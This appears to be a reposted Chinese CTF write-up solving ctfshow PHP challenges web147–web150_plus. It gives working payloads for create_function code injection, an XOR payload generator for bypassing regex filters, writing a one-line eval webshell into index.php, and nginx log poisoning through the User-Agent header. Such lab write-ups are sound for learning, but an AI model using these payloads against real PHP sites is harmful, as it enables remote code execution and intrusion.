用多少眼泪才能让你相信 发表于 2024-7-28 23:50:31

ctfshow-web入门-php特性(web147-web150_plus)

目次

1、web147
2、web148
3、web149
4、web150
5、web150_plus

1、web147

https://i-blog.csdnimg.cn/direct/a903702002a644059da936028c7cab04.png
^:匹配字符串的开头。
$:匹配字符串的末端,确保整个字符串符合规则。
:表示允许小写字母、数字和下划线。
*:匹配零个或多个前面的字符。
/i:忽略大小写。
s:匹配包罗换行符在内的所有字符。
D(PCRE 特有):美元符号 $ 仅匹配字符串的现实末端,不匹配末端的换行符。
这里只必要让 $ctfshow 内里有其他字符即可满意 if 判定。
   在 PHP 中,命名空间(namespace)提供了一种组织代码的方式,可以制止类、函数和常量名称的冲突。默认情况下,PHP 的函数和类都在全局命名空间 \ 中。全局命名空间中的函数和类:在任何命名空间中调用全局函数和类时,必要使用绝对路径(以 \ 开头)。 自界说命名空间中的函数和类:在同一命名空间中调用时,可以直接使用名称;在其他命名空间中调用时,必要使用完备的命名空间路径。
这里可以通过 create_function 函数来实现命令执行
用法:create_function(string $args, string $code)
$args:参数列表,用逗号分隔的参数名字符串。
$code:函数体,包罗函数的现实代码。
示例:
$func = create_function('$a', 'echo $a."123";');
$func('Hello'); // 输出 Hello123
create_function 动态创建一个匿名函数,其中 $a 是参数,'echo $a."123";' 是函数体,该方法已在 PHP 7.2.0 中弃用。
等价于:
function f($a) {
echo $a . "123";
}

f('Hello'); // 输出 Hello123
create_function 存在注入风险,我们这里先闭合前面的 { ,再解释后面的 }
构造 payload:
?show=}system('ls');//
ctf=\create_function https://i-blog.csdnimg.cn/direct/8eeef25b04c54fdb92180d5f1f1257dc.png 
解释也可以采用 /* 
?show=}system('tac flag.php');/*
ctf=\create_function https://i-blog.csdnimg.cn/direct/ce1e93afc43d4265ac91c2e5d1e0ed9b.png
拿到 flag:ctfshow{bd66d045-7a58-4af0-9079-d8c51f64c9cc}

2、web148

https://i-blog.csdnimg.cn/direct/c7edd9bdd28b4811919d4d61dedaa22f.png
没有过滤异或符号,那就直接 rce 咯。
生成可用字符的字典:
<?php

//或
function orRce($par1, $par2){
    $result = (urldecode($par1)|urldecode($par2));
    return $result;
}

//异或
function xorRce($par1, $par2){
    $result = (urldecode($par1)^urldecode($par2));
    return $result;
}

//取反
function negateRce(){
    fwrite(STDOUT,'[+]your function: ');

    $system=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    fwrite(STDOUT,'[+]your command: ');

    $command=str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));

    echo '[*] (~'.urlencode(~$system).')(~'.urlencode(~$command).');';
}

//mode=1代表或,2代表异或,3代表取反
//取反的话,就没必要生成字符去跑了,因为本来就是不可见字符,直接绕过正则表达式
function generate($mode, $preg='//i'){
    if ($mode!=3){
      $myfile = fopen("rce.txt", "w");
      $contents = "";

      for ($i=0;$i<256;$i++){
            for ($j=0;$j<256;$j++){
                if ($i<16){
                  $hex_i = '0'.dechex($i);
                }else{
                  $hex_i = dechex($i);
                }
                if ($j<16){
                  $hex_j = '0'.dechex($j);
                }else{
                  $hex_j = dechex($j);
                }
                if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){
                  echo "";
                }else{
                  $par1 = "%".$hex_i;
                  $par2 = '%'.$hex_j;
                  $res = '';
                  if ($mode==1){
                        $res = orRce($par1, $par2);
                  }else if ($mode==2){
                        $res = xorRce($par1, $par2);
                  }

                  if (ord($res)>=32&ord($res)<=126){
                        $contents=$contents.$res." ".$par1." ".$par2."\n";
                  }
                }
            }

      }
      fwrite($myfile,$contents);
      fclose($myfile);
    }else{
      negateRce();
    }
}
generate(2,'/+/');
//1代表模式,后面的是过滤规则
 生成 payload:
# -*- coding: utf-8 -*-

def action(arg):
    s1 = ""
    s2 = ""
    with open("rce.txt", "r") as f:
      lines = f.readlines()
      for i in arg:
            for line in lines:
                if line.startswith(i):
                  s1 += line
                  s2 += line
                  break
    output = "(\"" + s1 + "\"^\"" + s2 + "\")"
    return output

while True:
    function_input = input("\n[+] 请输入你的函数:")
    command_input = input("[+] 请输入你的命令:")
    param = action(function_input) + action(command_input)
    print("\n[*] 构造的Payload:", param)
https://i-blog.csdnimg.cn/direct/f1f4b787b522469186d7f16c4e63971d.png
构造 payload:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%0c%08"^"%60%7b"); https://i-blog.csdnimg.cn/direct/5d688d6e695b47e292d9076c997c0db5.png
生成读取 flag 的 payload:
https://i-blog.csdnimg.cn/direct/4bf59b172eb54694b615ce012a8cc49c.png
传参:
?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%0c%01%07%01%0b%08%0b"^"%7d%60%60%21%60%60%60%60%2f%7b%60%7b"); https://i-blog.csdnimg.cn/direct/61e78702e9ad4744a1692a9a70604518.png
拿到 flag:ctfshow{b2e0527d-c9f5-4628-9232-d6de59b4f2c2}

预期解是使用中文变量,中文也可以作为变量名,绕过正则,payload:
?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f* 实在也是通过异或,"`{{{"^"?<>/"; 异或出来就是 _GET 
https://i-blog.csdnimg.cn/direct/0fcfa604cd1a4c4cb5b4bd3b9a0c6e72.png
当然还有其他异或的情况:
https://i-blog.csdnimg.cn/direct/947762d176ac461ab7bede6a0d26e9fb.png 
对双引号进行一下转义即可,payload: 
?code=$额="\"<>)"^"}{{}";${$额}[一](${$额}[二]);&一=system&二=tac f*
https://i-blog.csdnimg.cn/direct/1eb7ebca82034ab2bb62dc87ce90774e.png

3、web149

https://i-blog.csdnimg.cn/direct/364db0b924b645a0a6395f1758a92df7.png
代码审计:
$files = scandir('./');
foreach($files as $file) {
    if(is_file($file)){
      if ($file !== "index.php") {
            unlink($file);
      }
    }
} scandir('./');:扫描当前目次,并返回目次中的文件和文件夹名的数组。
foreach($files as $file) { ... }:遍历数组中的每一个文件。
if(is_file($file)){ ... }:查抄是否为文件(而不是目次)。
if ($file !== "index.php") { ... }:查抄文件名是否不是 index.php。
unlink($file);:删除文件。
也就是说当前目次下只能存在 index.php,预期解是通过条件竞争实现,但我们实在可以直接将一句话木马写进 index.php。
file_put_contents($_GET['ctf'], $_POST['show']); file_put_contents() 函数把一个字符串写入文件中,这里是将 POST 请求中的 show 数据写入以 GET 请求中 ctf 参数指定的文件中。
payload:
?ctf=index.php
show=<?php eval($_POST)?> https://i-blog.csdnimg.cn/direct/a354cfe172ea46509622d7f9699aee9f.png
调用:
https://i-blog.csdnimg.cn/direct/04d3e694d9a24aa9be226b323b839ac7.png
1=system('cat /ctfshow_fl0g_here.txt'); https://i-blog.csdnimg.cn/direct/833a685fad5a4336b06aadbab9b01d8c.png
拿到 flag:ctfshow{da4e2ab9-7b7a-4808-ad25-462d00167195}

4、web150

https://i-blog.csdnimg.cn/direct/57194d5260ea447e874790a77b87a175.png
要求 $isVIP 为真,存在 extract($_GET) 可以实现变量覆盖,传入 ?isVIP=1;
strrpos($ctf, ":")===FALSE 要求 $ctf 不能有冒号,伪协议就用不上了;
但 include($ctf); 可以进行日志文件包罗,payload:
?isVIP=1
ctf=/var/log/nginx/access.log https://i-blog.csdnimg.cn/direct/4279415d04d940ceb71929e3b43b7ee0.png
可以看到是 user-agent 的内容,使用 burpsuite 抓包,在 ua 插入想要执行的代码 :
<?php system('ls');?>
https://i-blog.csdnimg.cn/direct/dca09f52d45a4ff5a64615b38a402f1b.png
读取 flag.php:
<?php system('tac flag.php');?> https://i-blog.csdnimg.cn/direct/84e3e47936294670aff2333dbc702df5.png
拿到 flag:ctfshow{43581126-c1de-4fc7-97a5-268428a5e2c8}

5、web150_plus

https://i-blog.csdnimg.cn/direct/07e894c4068c471790515fb2acd4ebfa.png
新增对 $ctf 过滤 log,日志包罗行不通。
payload:
?..CTFSHOW..=phpinfo 居然把 phpinfo 给调出来了,检索 ctfshow 即可找到 flag。 
https://i-blog.csdnimg.cn/direct/5ff53a682e3f407e8198ffc20dd3721f.png
ctfshow{8a30968a-6b41-49ff-ae79-8037d8cec776} 变量 ..CTFSHOW.. 会解析成 __CTFSHOW__ ,因为非法的字符会转成下划线,然后进行了变量覆盖,__CTFSHOW__ 变量被设置为 phpinfo,if(class_exists($__CTFSHOW__)) 会查抄 __CTFSHOW__ 是否是一个已界说的类,在这种情况下,$__CTFSHOW__ 被设置为 phpinfo,以是 if(class_exists('phpinfo')) 会被执行,因为 phpinfo 不是一个类名,class_exists 返回 false,今世码试图访问一个未界说的类( __CTFSHOW__)时,PHP 会调用 __autoload 函数,__autoload('phpinfo'); 会执行 phpinfo() 函数,因为 phpinfo 是一个内置函数。

至此,ctfshow-web入门-php特性完结。
20240727,Myon

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: ctfshow-web入门-php特性(web147-web150_plus)